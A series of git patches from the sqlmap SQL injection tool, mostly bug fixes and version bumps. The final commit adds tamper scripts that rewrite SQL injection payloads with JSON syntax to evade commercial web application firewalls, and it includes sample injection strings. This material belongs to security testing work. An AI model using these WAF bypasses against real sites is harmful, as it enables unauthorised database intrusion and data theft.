identYwaf.non_blind_check(rawResponse, silent=True): + for waf in set(identYwaf.non_blind): + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): From ebaee3a4e6b32877874f2676397cc7f3bf3ed756 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Dec 2022 15:24:27 +0100 Subject: [PATCH 028/524] Minor patch for #5255 --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- sqlmap.py | 5 ++++- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 8f29e086a0e..4be6a9b8197 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1034,7 +1034,10 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C except UnicodeEncodeError: sys.stdout.write(re.sub(r"[^ -~]", '?', clearColors(data))) finally: - sys.stdout.flush() + try: + sys.stdout.flush() + except IOError: + raise SystemExit if multiThreadMode: logging._releaseLock() diff --git a/lib/core/settings.py b/lib/core/settings.py index 60442403b04..c2dc6970781 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.0" +VERSION = "1.6.12.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 7c7e14ebd4e..43b0fee8f7c 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -250,7 +250,10 @@ def main(): raise SystemExit except KeyboardInterrupt: - print() + try: + print() + except IOError: + pass except EOFError: print() From 86ac3025edb83ce49d563b6787df4fc6ca305ce6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Dec 2022 23:42:24 +0100 Subject: [PATCH 029/524] Improving SQLite table schema parsing (#2678) --- data/xml/queries.xml | 4 ++-- extra/vulnserver/vulnserver.py | 3 ++- lib/core/common.py | 28 ++++++++++++++++++++++++---- lib/core/settings.py | 2 +- 4 files changed, 29 insertions(+), 8 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 75f6edf9536..deda4364d9c 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -357,8 +357,8 @@ - - + + diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index f7211e61cee..37d7df3c3be 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -44,7 +44,8 @@ CREATE TABLE users ( id INTEGER, name TEXT, - surname TEXT + surname TEXT, + PRIMARY KEY (id) ); INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); diff --git a/lib/core/common.py b/lib/core/common.py index 4be6a9b8197..cdf0c850723 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3402,19 +3402,39 @@ def parseSqliteTableSchema(value): >>> kb.data.cachedColumns = {} >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") True - >>> repr(kb.data.cachedColumns).count(',') == 1 + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER')) True """ retVal = False + value = extractRegexResult(r"(?s)\((?P.+)\)", value) + if value: table = {} - columns = {} + columns = OrderedDict() + + value = re.sub(r"\(.+?\)", "", value).strip() - for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + column = match.group(1).strip(match.group(2) or "") + if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): + continue retVal = True - columns[match.group(1)] = match.group(2) or "TEXT" + + columns[column] = match.group(3) or "TEXT" table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns kb.data.cachedColumns[conf.db] = table diff --git a/lib/core/settings.py b/lib/core/settings.py index c2dc6970781..53097ec3121 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.1" +VERSION = "1.6.12.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 76202e565d286dc32c101bf2dcf2710116bae7f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Dec 2022 23:52:04 +0100 Subject: [PATCH 030/524] Fixes #5258 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 53097ec3121..a1a72531b0d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.2" +VERSION = "1.6.12.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 84ec25e4d38..5c0a207aa38 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -308,7 +308,7 @@ def getPage(**kwargs): threadData.lastRequestUID = kb.requestCounter if conf.proxyFreq: - if kb.requestCounter % conf.proxyFreq == 1: + if kb.requestCounter % conf.proxyFreq == 0: conf.proxy = None warnMsg = "changing proxy" From 7c9e4c4a653b3e63fb7a341e5f55a3e7e2d5f3cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 14 Dec 2022 00:32:35 +0100 Subject: [PATCH 031/524] Fixes #5164 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index cdf0c850723..9fd6ff5f180 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1822,7 +1822,7 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+([`'\"][^`'\"]+[`'\"]|\w+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " diff --git a/lib/core/settings.py b/lib/core/settings.py index a1a72531b0d..1699fce8f35 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.3" +VERSION = "1.6.12.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a11f79e16f99ff624f07288019cadc78d43bf286 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 14 Dec 2022 00:35:27 +0100 Subject: [PATCH 032/524] One more update regarding #5164 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9fd6ff5f180..9a28c99f985 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1822,7 +1822,7 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+([`'\"][^`'\"]+[`'\"]|\w+)(\s|\Z)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " diff --git a/lib/core/settings.py b/lib/core/settings.py index 1699fce8f35..65b27b16ff6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.4" +VERSION = "1.6.12.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b7411211af01f302dcbec3d2a0e751f971fe7f28 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 17 Dec 2022 14:46:00 +0100 Subject: [PATCH 033/524] Fixes #5262 --- lib/core/settings.py | 2 +- lib/utils/api.py | 25 +++++++++++++++---------- 2 files changed, 16 insertions(+), 11 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 65b27b16ff6..b81a77880ed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.5" +VERSION = "1.6.12.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 363b5bea23b..6fa8c0ab2a6 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -17,6 +17,7 @@ import sqlite3 import sys import tempfile +import threading import time from lib.core.common import dataToStdout @@ -88,6 +89,7 @@ def __init__(self, database=None): def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() + self.lock = threading.Lock() logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): @@ -101,17 +103,20 @@ def commit(self): self.connection.commit() def execute(self, statement, arguments=None): - while True: - try: - if arguments: - self.cursor.execute(statement, arguments) + with self.lock: + while True: + try: + if arguments: + self.cursor.execute(statement, arguments) + else: + self.cursor.execute(statement) + except sqlite3.OperationalError as ex: + if "locked" not in getSafeExString(ex): + raise + else: + time.sleep(1) else: - self.cursor.execute(statement) - except sqlite3.OperationalError as ex: - if "locked" not in getSafeExString(ex): - raise - else: - break + break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() From e85bc30f95416ee6b9f3a1bf4d5d139d00cbe2d4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Dec 2022 13:29:37 +0100 Subject: [PATCH 034/524] Fixes #5267 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b81a77880ed..b3b068cd551 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.6" +VERSION = "1.6.12.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 43b0fee8f7c..93bc145aaa9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -498,6 +498,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "database disk image is malformed" in excMsg: + errMsg = "local session file seems to be malformed. Please rerun with '--flush-session'" + logger.critical(errMsg) + raise SystemExit + elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" From 4cd146cc86517005c76f8b178783de25cccf8b58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 21 Dec 2022 14:03:40 +0100 Subject: [PATCH 035/524] Fix for masking of sensitive data --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9a28c99f985..bf2006d72bf 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4033,7 +4033,7 @@ def maskSensitiveData(msg): >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' True - >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************' + >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line' True """ @@ -4049,7 +4049,7 @@ def maskSensitiveData(msg): retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) - for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): + for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitutions diff --git a/lib/core/settings.py b/lib/core/settings.py index b3b068cd551..ff2595d5f28 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.7" +VERSION = "1.6.12.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dd4010f16f7843096feaef1c70d5a06a4f96569e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Dec 2022 15:49:08 +0100 Subject: [PATCH 036/524] Fixes #5268 --- lib/core/compat.py | 40 +++++++++++++++++++++++++++++++++++----- lib/core/settings.py | 2 +- 2 files changed, 36 insertions(+), 6 deletions(-) diff --git a/lib/core/compat.py b/lib/core/compat.py index 7275ea07d46..6a7a4076914 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -12,6 +12,7 @@ import math import os import random +import re import sys import time import uuid @@ -277,8 +278,37 @@ def __hash__(self): xrange = xrange buffer = buffer -try: - from packaging import version - LooseVersion = version.parse -except ImportError: - from distutils.version import LooseVersion +def LooseVersion(version): + """ + >>> LooseVersion("1.0") == LooseVersion("1.0") + True + >>> LooseVersion("1.0.1") > LooseVersion("1.0") + True + >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") + True + >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") + True + >>> LooseVersion("foobar") > LooseVersion("1.0") + False + >>> LooseVersion("1.0") > LooseVersion("foobar") + False + >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") + True + >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") + 8.000022 + """ + + match = re.search(r"\A(\d[\d.]*)", version or "") + + if match: + result = 0 + value = match.group(1) + weight = 1.0 + for part in value.strip('.').split('.'): + if part.isdigit(): + result += int(part) * weight + weight *= 1e-3 + else: + result = float("NaN") + + return result diff --git a/lib/core/settings.py b/lib/core/settings.py index ff2595d5f28..7e034673f3a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.8" +VERSION = "1.6.12.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 12e3ed14ae310608293aadeeff53760366bc3556 Mon Sep 17 00:00:00 2001 From: noamiscool <119214136+noamiscool@users.noreply.github.com> Date: Fri, 23 Dec 2022 16:52:49 +0200 Subject: [PATCH 037/524] JSON WAF bypass tamper scripts (#5260) * added JSON waf bypass techniques * added a link for WAF evasion technique blog * Added generic JSON WAF bypass --- doc/THANKS.md | 3 + tamper/json_waf_bypass_mysql.py | 163 ++++++++++++++++++++ tamper/json_waf_bypass_postgres.py | 237 +++++++++++++++++++++++++++++ tamper/json_waf_bypass_sqlite.py | 178 ++++++++++++++++++++++ 4 files changed, 581 insertions(+) create mode 100644 tamper/json_waf_bypass_mysql.py create mode 100644 tamper/json_waf_bypass_postgres.py create mode 100644 tamper/json_waf_bypass_sqlite.py diff --git a/doc/THANKS.md b/doc/THANKS.md index dc49071a915..fdbabaf574f 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -789,6 +789,9 @@ x, zhouhx, * for contributing a minor patch +Noam Moshe Claroty Team82 +* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py + # Organizations Black Hat team, diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py new file mode 100644 index 00000000000..e2b15d4dc13 --- /dev/null +++ b/tamper/json_waf_bypass_mysql.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison. +pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+# 2) JSON_EXTRACT
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+    print("generate_str_payload")
+    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
+    return (random.choice(STR_FUNCTIONS))()
+    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_length_payload():
+    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
+
+
+def generate_depth_paylod():
+    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
+
+
+def generate_quote_payload():
+    var = generate_random_string()
+    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+    return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+    return generate_extract_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+    key = generate_random_string()
+    if isString:
+        value = generate_random_string()
+        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+    value = generate_random_int()
+    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
+        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+        
+    Bypasses generic WAFs using JSON SQL Syntax.
+    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
+
+    Tested against:
+        * MySQL v8.0 - however every version after v5.7.8 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_mysql.py
+
+    Notes:
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) JSON_LENGTH()
+            2) json_depth
+            3) JSON_EXTRACT()
+
+        Possible STR payloads:
+            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+            2) JSON_EXTRACT
+            3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
+    >>> tamper('and 4515=8950--')
+    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
+    """
+
+    payload = payload.replace(r'%20', " ")
+    #
+    retVal = payload
+
+    if payload:
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+
+            # Is our payload is a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        else:
+
+            if payload.lower().startswith("' union"):
+                wafPayload = generate_random_payload()
+
+                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+    return retVal
+
diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py
new file mode 100644
index 00000000000..bc368ebfd52
--- /dev/null
+++ b/tamper/json_waf_bypass_postgres.py
@@ -0,0 +1,237 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
+pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+pattern_extract_value = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?PEXTRACTVALUE.*)"
+pattern_when_where = r"(?i)(?P
.*)\s*\b(?PWHERE|WHEN)\b\s*(?P.*)"
+pattern_replace_case = r"(?i)(?P\(select.*when\s*\((?P.*?)=(?P.*?)\).*?then\s*(?P\(.*?\))\s*else\s*(?P\(.*?\)).*?end\)\))"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+
+def dependencies():
+    pass
+
+
+# Possible int payloads:
+# 1) #>>
+# 2) @>
+# 3) ->> (index)
+# 4) ->> (str)
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible str payloads:
+# 1) ->> (str)
+# 2) ->> (index)
+# 3) #>>
+
+
+def generate_str_payload():
+    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
+    return (random.choice(STR_FUNCTIONS))()
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_element_by_id_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    values = []
+    for i in range(3):
+        values.append(random_generator())
+    random_index = random.randint(0,2)
+    if isString:
+        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
+    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
+
+
+def generate_element_by_id_int_payload():
+    return generate_element_by_id_payload(isString=False)
+
+
+def generate_element_by_id_str_payload():
+    return generate_element_by_id_payload(isString=True)
+
+
+def generate_element_by_key_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(random_generator())
+    random_index = random.randint(0, 2)
+    if isString:
+        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
+    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
+
+
+def generate_element_by_key_int_payload():
+    return generate_element_by_key_payload(isString=False)
+
+
+def generate_element_by_key_str_payload():
+    return generate_element_by_key_payload(isString=True)
+
+
+def generate_element_by_hashtag_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(random_generator())
+    random_index = random.randint(0, 2)
+    if isString:
+        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
